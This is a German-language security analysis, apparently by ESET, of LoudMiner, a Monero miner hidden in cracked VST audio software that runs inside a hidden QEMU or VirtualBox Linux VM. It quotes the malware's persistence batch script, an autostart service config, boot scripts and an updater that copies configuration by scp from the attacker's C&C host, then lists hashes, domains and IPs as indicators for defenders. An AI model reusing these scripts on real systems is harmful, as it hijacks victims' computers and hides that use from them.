LoudMiner ist ein ungewöhnlicher Fall eines persistenten Crypto-Miners, der sich, konzipiert für macOS und Windows, seit etwas August 2018 verbreitet. Der Crypto-Trojaner setzt auf Virtualization Software – QEMU bei macOS und VirtualBox bei Windows – um Kryptowährung mit Hilfe von Tiny Core Linux Virtual Machine plattformübergreifend zu schürfen (Mining). LoudMiner hat es insbesondere auf User abgesehen, die auf gecrackte VST-Software aus sind. Der Crypto-Miner selbst basiert auf XMRig (Monero) und greift auf einen Mining-Pool zurück, weswegen es nahezu unmöglich ist, Transaktionen zurück zu verfolgen.
Verbreitung von LoudMiner
Zum Zeitpunkt der Entstehung dieses Artikels gab es 137 VST-Anwendungen (42 für Windows und 95 für macOS). Alle waren auf einer einzelnen WordPress-Webseite verfügbar, deren Domain man am 24. August 2018 registrierte. Am selben Tag wurde auch die erste VST-App für Windows hochgeladen. Dabei handelte es sich um Native Instruments Kontakt 5.7. Die Größe der Anwendungen lässt eine effiziente Analyse nicht zu. Man kann aber davon ausgehen, dass alle gecrackten VST-Anwendungen den Crypto-Trojaner beinhalten.
Die VST-Software wird selbst nicht auf WordPress gehostet, sondern von 29 externen Servern bereitgestellt (näheres unter IoC). Die Webseite-Admins aktualisierten die VST-Apps regelmäßig auf neuere Versionen, so dass sich die erste Version des Crypto-Miners kaum feststellen lässt.
Der plattformübergreifende LoudMiner zielt ganz offensichtlich auf Computer ab, die bei Audio-Produktionen zum Einsatz kommen. Hier finden sich oft Geräte mit guter Rechenleistung. Die hohe CPU-Auslastung überrascht die User genauso wenig, wie die großen Dateigrößen der komplexen VST-Softwares. Den Cyberangreifern spielt das natürlich in die Karten, denn so können sie den LoudMiner Crypto-Trojaner gut in den VM Images verstecken. Die Entscheidung, auf Virtuelle Maschinen, anstatt auf schlankere Lösungen zu setzen, ist bemerkenswert. Das sieht man nicht alle Tage.
Es folgen ein paar Beispiele kompromittierter VST-Software sowie einige Kommentare, die auf der WordPress-Webseite hinterlassen wurden:
- Propellerhead Reason
- Ableton Live
- Sylenth1
- Nexus
- Reaktor 6
- AutoTune
Berichte von Usern über LoudMiner
In mehreren Foren wurde sich über die CPU-Beanspruchung von 100% auf Mac-Rechnern, verursacht durch qeumu-system-x86_64, beschwert:
Ein User namens „Macloni“ (https://discussions.apple.com/thread/8602989) sagte das Folgende (Übersetzung):
„Leider musste ich OSX neu installieren. Ich hatte Ableton Live 10 von einer Torrent-Seite heruntergeladen, anstatt von der offiziellen. Damit installierte ich mir auch den Crypto-Miner, der dann im Hintergrund agierte.“
Der Mac-User fügte auch einen Screenshot des Aktivitätenmonitors an. Darauf ist zu erkennen, dass zwei Prozesse – qemu-system-x86_64 und tools-service – 25% der CPU-Ressourcen beanspruchen und root-Rechte besitzen.
Analyse der VST-Raubkopien
Die Analyse der mit dem Crypto-Trojaner LoudMiner kompromittierten VST-Softwares ergab unter macOS und Windows grundlegend dasselbe:
- Eine VST-Anwendung wird mit einer Virtualization Software, einem Linux Image und zusätzliche Dateien (Stichwort Persistenz) gebündelt.
- Die User laden die Anwendung herunter und folgen der Installationsanweisung.
- LoudMiner wird zuerst installiert, die eigentliche VST-Software erst danach.
- LoudMiner versteckt sich im Computer-System und erlangt Persistenz nach einem Neustart.
- Sobald die Linux VM startet, beginnt der Crypto-Miner zu schürfen.
- Scripte innerhalb der VM sorgen für den Kontakt zum C&C-Server, um den Crypto-Miner Up-to-Date zu halten (Konfiguration und Binaries)
Während der Untersuchung der verschiedenen VSTs entdeckten wir vier Versionen des Crypto-Miners. Der Unterschied liegt in der Art und Weise, wie der Miner mit der Software verknüpft wurde, oder wie die C&C-Server-Domain und die Versionsnummer lauten.
macOS LoudMiner Malware
Wir identifizierten bisher drei macOS-Versionen der Malware. Alle enthalten zusätzliche Software-Pakete (in installerdata.dmg beinhaltet), um QEMU auszuführen. Von installerdata.dmg aus werden Dateien nach /usr/local/bin kopiert und mit entsprechenden Rechten ausgestattet. Jede Version des Miners kann zwei Images gleichzeitig ausführen. Jedes beansprucht dafür 128 MB RAM und einen CPU-Core. Die Persistent wird durch das Hinzufügen von plist-Dateien in /Library/LaunchDaemons mithilfe von RunAtLoad (Wert = true) erreicht. Außerdem besitzt KeepAlive den Wert true, damit der Prozess nach einem Stillstand wiederaufgenommen wird. Jede Version beinhaltet folgende Komponente:
- QEMU Linux Images
- Shell Script, um die QEMU Images zu laden
- Daemons, um die Shell Scripts beim Start zu laden und am Laufen zu halten
- Ein CPU Monitor Shell Script mit zugehörigem Daemon, damit das Crypto-Mining je nach CPU-Auslastung gestartet bzw. gestoppt werden kann. Auch abhängig vom Activity Monitor
Das CPU Monitor Script kann den Mining-Prozess starten und stoppen, indem der Daemon geladen bzw. ausgeschaltet wird. Läuft der Activity Process, stoppt das Crypto-Mining. Ansonsten überprüft dieser, wie lange (in Sekunden) sich das System bereits im Leerlauf befindet.
ioreg -c IOHIDSystem | awk '/HIDIdleTime/ {print $NF/1000000000; exit}'
Wenn die Leerlauf-Zeit mehr als zwei Minuten beträgt, startet das Crypto-Mining. Bei weniger als zwei Minuten wird die totale CPU-Auslastung überprüft…
ps -A -o %cpu | awk '{s+=$1} END {print s }'
… und durch die Anzahl der CPU-Cores geteilt:
sysctl hw.logicalcpu |awk '{print $2 }')
Eine höhere CPU-Auslastung als 85% stoppt das Mining. Das dafür zuständige Script unterscheidet sich je nach Version von den anderen. Die zugrunde liegende Idee bleibt allerdings dieselbe.
Nach der Installation werden alle mit dem Crypto-Miner in Verbindung stehenden Installationsdateien automatisch vom System gelöscht.
Die ausführliche Analyse zu macOS Crypto-Miner Version 1 – 3 ist in der englischen Version des Beitrags zu finden: https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/
Windows (Version 4)
Aus den Anwendungen extrahierten Strings konnten wir nur eine Version bestimmen, die auf Windows-Systeme abzielt. Die grundlegende Idee gleicht den macOS Crypro-Miner-Versionen. Jede Windows-Anwendung ist als MSI-Installer verpackt. Dieser installiert die gecrackte VST-Software und die Treiber für VirtualBox – wie in Abbildung 7 dargestellt.
VirtualBox wird unter dem üblichen Dateipfad installiert (C:\Program Files\Oracle). Allerdings trägt der Pfad das Attribut hidden – Der Ordner wird also ausgeblendet. Dann kopiert der Installer das Linux Image und VBoxVmService (Ein Windows-Dienst, mit dem eine VirtualBox-Machine als Dienst ausgeführt wird) nach C:\vms – ebenfalls mit dem hidden-Attribut versehen. Nach dem die Installation abgeschlossen ist, wird ein Batch-Script (mit Hilfe von BAT2EXE kompiliert) ausgeführt, um das Linux Image zu importieren und VmServiceControl.exe zu starten, damit die Virtual Machine den Dienst aufnehmen kann.
@echo off
setlocal EnableExtensions EnableDelayedExpansion
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" setproperty machinefolder "%userprofile%\appdata\roaming"
"c:\Program Files\Oracle\VirtualBox\vboxmanage.exe" import "c:\vms\tmp\sys00_1.ova"
xcopy /Y "C:\Windows\System32\Config\systemprofile\.VirtualBox" "C:\vms\.VirtualBox\"
"C:\vms\VmServiceControl.exe" -i
del /F "c:\vms\tmp\sys00_1.ova"
Abbildung 8: Batch-Script, welches die Linux VM als Dienst startet.
Diese Methode wird verwendet, um die Persistenz des Crypto-Miners nach einem Neustart sicherzustellen. VboxVmService wird mit einer Konfigurationsdatei geliefert (siehe Abbildung 9), in der es möglich ist, die AutoStart-Option zu aktivieren, damit die VM beim Start automatisch startet.
[Settings]
VBOX_USER_HOME=C:\vms\.VirtualBox
RunWebService=no
PauseShutdown=5000
[Vm0]
VmName=sys00_1
ShutdownMethod=acpipowerbutton
AutoStart=yes
Abbildung 9: Konfigurationsdatei für VBoxVmService mit aktiviertem AutoStart
Die im Linux-Image enthaltene OVF-Datei beschreibt die Hardwarekonfiguration der VM (siehe Abbildung 10): Es werden 1 GB RAM und 2 CPU-Kerne (bei einer maximalen Auslastung von 90%) beansprucht.
<Hardware>
<CPU count="2" executionCap="90">
<PAE enabled="true"/>
<LongMode enabled="true"/>
<X2APIC enabled="true"/>
<HardwareVirtExLargePages enabled="true"/>
</CPU>
<Memory RAMSize="1024"/>
Abbildung 10: Hardware-Konfiguration des Linux-Images
Das Linux Image des LoudMiner Crypro-Miners
Das Linux Image Tiny Core Linux 9.0 wurde modifiziert, um XMRig sowie einige andere Dateien und Scripte ausführen zu können. Die interessantesten Dateien sind:
- /root/.ssh/{id_rsa, id_rsa.pub} – Der SSH-Pair-Schlüssel, mit dem der Crypto-Miner mithilfe von SCP durch den C&C-Server aktualisiert wird.
- /opt/{bootsync.sh, bootlocal.sh} – Die Systemstartbefehle, mit denen versucht wird, den Miner vom C&C-Server aus zu aktualisieren und auszuführen (siehe Abbildungen 11 und 12).
/usr/bin/sethostname box
/opt/bootlocal.sh 2>&1 > /dev/null &
echo "booting" > /etc/sysconfig/noautologin
Abbildung 11: bootsync.sh
/mnt/sda1/tools/bin/idgenerator 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand_update 2>&1 > /dev/null
/mnt/sda1/tools/bin/ccommand 2>&1 > /dev/null
/mnt/sda1/tools/bin/xmrig
Abbildung 12: bootlocal.sh
- /mnt/sda1/tools/bin – Hauptdateien und Scripte, die zum Aktualisieren und Ausführen des Miners verwendet werden.
- /mnt/sda1/tools/xmrig – enthält den Quellcode von XMRig (aus dem GitHub-Repository).
Die Konfiguration des Crypto-Miners LoudMiner ist in /mnt/sda1/tools/bin/config.json gespeichert und enthält hauptsächlich den Domain-Name und den für den Mining-Pool verwendeten Port, der je nach Version unterschiedlich sein kann (siehe Beispiele im Abschnitt "IoCs").
Der Update-Mechanismus wird über SCP (Secure File Copy) mithilfe drei verschiedener Scripte ausgeführt:
- xmrig_update - aktualisiert die Konfiguration des Crypto-Miners (config.json);
- ccommand – aktualisiert ccommand_update, xmrig_update (siehe Abbildung 13), sh, xmrig;
- ccommand_update – aktualisiert ccommand;
Nach unseren Analysen ändert sich die Crypto-Miner-Konfiguration einmal täglich.
#!/bin/sh
ping -w 40 127.0.0.1
cd /mnt/sda1/tools/bin/ && scp -P 5100 -C -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null x01@system-update.is:ctrl/cowboinvox`date +%Y%m%d` config.json.new && mv config.json config.json.bkp && mv config.json.new config.json
Abbildung 13: xmrig_update
Um eine bestimmte Mining-Session zu identifizieren, wird vom idgenerator-Script eine Datei erstellt, welche die IP-Adresse des Computers und das Datum des Tages enthält. Der Output wird vom updater.sh-Script an den C&C-Server gesendet.
Wie schützt man sich vor Crypto-Minern?
Ganz offensichtlich ist es das Beste, keine Raubkopien kommerzieller Software herunterzuladen und zu installieren. Einige Hinweise deuten jedoch an, wenn Anwendungen unerwünschten Code enthalten:
- "Vertrauen Sie dieser Anwendung?"-Popup erscheint. Software möchte zusätzliche Software installieren.
- Hohe CPU-Auslastung durch einen Prozess, den man nicht installierte (in diesem Fall QEMU bzw. VirtualBox)
- Im Startup bzw Launch Daemon befinden sich neue Prozesse
- Aufgebaute Netzwerkverbindungen zu seltsamen Domains (wie bspw. system-update[.]info oder system-check[.]services)
Indicators of Compromise (IoCs)
Hashes
macOS “cracked” applications (versions 1-3)
SHA-1 | Filename | ESET detection name | Version number |
---|---|---|---|
71030028c4e1b844c85138bd77ddea96a190ec2c | Virtual_DJ_8_Pro_Infinity_macOS.pkg | OSX/LoudMiner.A | 1 |
32c80edcec4f7bb3b494e8949c6f2014b7f5db65 | Native Instruments Massive Installer.pkg | OSX/LoudMiner.A | 1 |
7dc9f8ca07cd8e0247cf15cd8d2da2190a02fc90 | Massive_v1.5.5_Installer_macOS.dmg | OSX/LoudMiner.B | 2 |
0b40bd0754637d5be2ada760ff0ecfda7afe03d7 | Native_Instruments_Effects_Series_Mod_Pack.dmg | OSX/LoudMiner.B | 2 |
88efc767a32299e922f1b41f82c8d584585e2161 | Spectrasonics_Omnisphere_2.5_OSx.dmg | OSX/LoudMiner.C | 3 |
e9c9d17d006fb03d67b736c0826df0af8ca6d5fd | Lennar_Digital_Sylenth1_2.2.1.dmg | OSX/LoudMiner.C | 3 |
Windows “cracked” applications (version 4)
SHA-1 | Filename | ESET detection name |
---|---|---|
23faacfc23cfef65504d7fa20854030b96a9df91 | Ableton.Live.Suite.10.0.6.Multilingual.x64.WIN.zip | Win32/LoudMiner.A |
5a8682eae69b2e11d45980941a972bd734630207 | Infected-Mushroom-Manipulator-V1.0.3.zip | Win32/LoudMiner.A |
60a8f1d4a028153271093e815e8267bd25fde852 | Sonic_Academy_ANA_2.0.3_x86_x64.msi | Win32/LoudMiner.A |
7c7876058783da85d5502b9406f7fb4d26f66238 | SoundToys_5.0.1_x64-SetupFiles.rar | Win32/LoudMiner.A |
a1a1dc7876d71749a8bc5690c537451770ef4ab8 | Valhalla-DSP-Full-Bundle-setupfiles.zip | Win32/LoudMiner.A |
Linux images
SHA-1 | Filename | Version number |
---|---|---|
dd9b89a3c5a88fb679f098e2c2847d22350e23b1 | sys00_1-disk001.qcow2 | 1 |
d1e42e913da308812dd8da1601531b197c1a09a1 | sys00_1-disk001.qcow2 | 1 |
39a7e86368f0e68a86cce975fd9d8c254a86ed93 | z1.qcow2 (renamed with a randomized name) | 2 |
59026ffa1aa7b60e5058a0795906d107170b9e0f | z1.qcow2 (renamed with a randomized name) | 3 |
fcf5c3b560295ee330b97424b7354fd321757cc6 | sys00_1.ova | 4 |
fc60431a0172d5b8cf4b34866567656467cf861c | sys00_1.ova | 4 |
Filenames
macOS
- /Library/Application Support/.Qemusys
- /Library/Application Support/.System-Monitor
- /usr/local/bin/{.Tools-Service, cpumonitor, system-monitor, tools-service}
- /Library/LaunchDaemons/{com.buildtools.system-monitor.plist, com.buildtools.tools-service.plist, com.modulesys.qemuservice.plist, com.systools.cpumonitor.plist}
Windows
- C:\vms
Hostnames
vstcrack[.]com (137[.]74.151.144)
Download hosts (via HTTP on port 80)
- 185[.]112.156.163
- 185[.]112.156.29
- 185[.]112.156.70
- 185[.]112.157.102
- 185[.]112.157.103
- 185[.]112.157.105
- 185[.]112.157.12
- 185[.]112.157.181
- 185[.]112.157.213
- 185[.]112.157.24
- 185[.]112.157.38
- 185[.]112.157.49
- 185[.]112.157.53
- 185[.]112.157.65
- 185[.]112.157.72
- 185[.]112.157.79
- 185[.]112.157.85
- 185[.]112.157.99
- 185[.]112.158.112
- 185[.]112.158.133
- 185[.]112.158.186
- 185[.]112.158.190
- 185[.]112.158.20
- 185[.]112.158.3
- 185[.]112.158.96
- d-d[.]host (185[.]112.158.44)
- d-d[.]live (185[.]112.156.227)
- d-d[.]space (185[.]112.157.79)
- m-m[.]icu (185[.]112.157.118)
Update hosts (via SCP)
- aly001[.]hopto.org (192[.]210.200.87, port 22)
- system-update[.]is (145[.]249.104.109, port 5100)
Mining hosts
- system-update[.]info (185[.]193.126.114, port 443 or 8080)
- system-check[.]services (82[.]221.139.161, port 8080)
MITRE ATT&CK techniques
Tactic | ID | Name | Description |
---|---|---|---|
Execution | T1035 | Service Execution | On Windows, the Linux image is run as a service with VboxVmService. |
Persistence | T1050 | New Service | Install the Linux virtual machine as a service with VboxVmService. |
T1062 | Hypervisor | Install a type-2 hypervisor on the host (VirtualBox or QEMU) to run the miner. | |
T1160 | Launch Daemon | The macOS versions use a Launch Daemon to ensure the persistence. | |
Defense Evasion | T1027 | Obfuscated Files or Information | Some shell scripts are obfuscated, and some installers are encrypted in macOS versions. |
T1045 | Software Packing | Use BAT2EXE to pack batch script in Windows versions. | |
T1158 | Hidden Files and Directories | The VirtualBox installation folder and the directory containing the Linux image are hidden. | |
Command and Control | T1043 | Commonly Used Port | Use TCP ports 443 and 8080 for mining pool communication. |
T1105 | Remote File Copy | Use SCP (port 22 or 5100) to copy files from/to the C&C server. | |
Impact | T1496 | Resource Hijacking | Use victim machines to mine cryptocurrency (Monero). |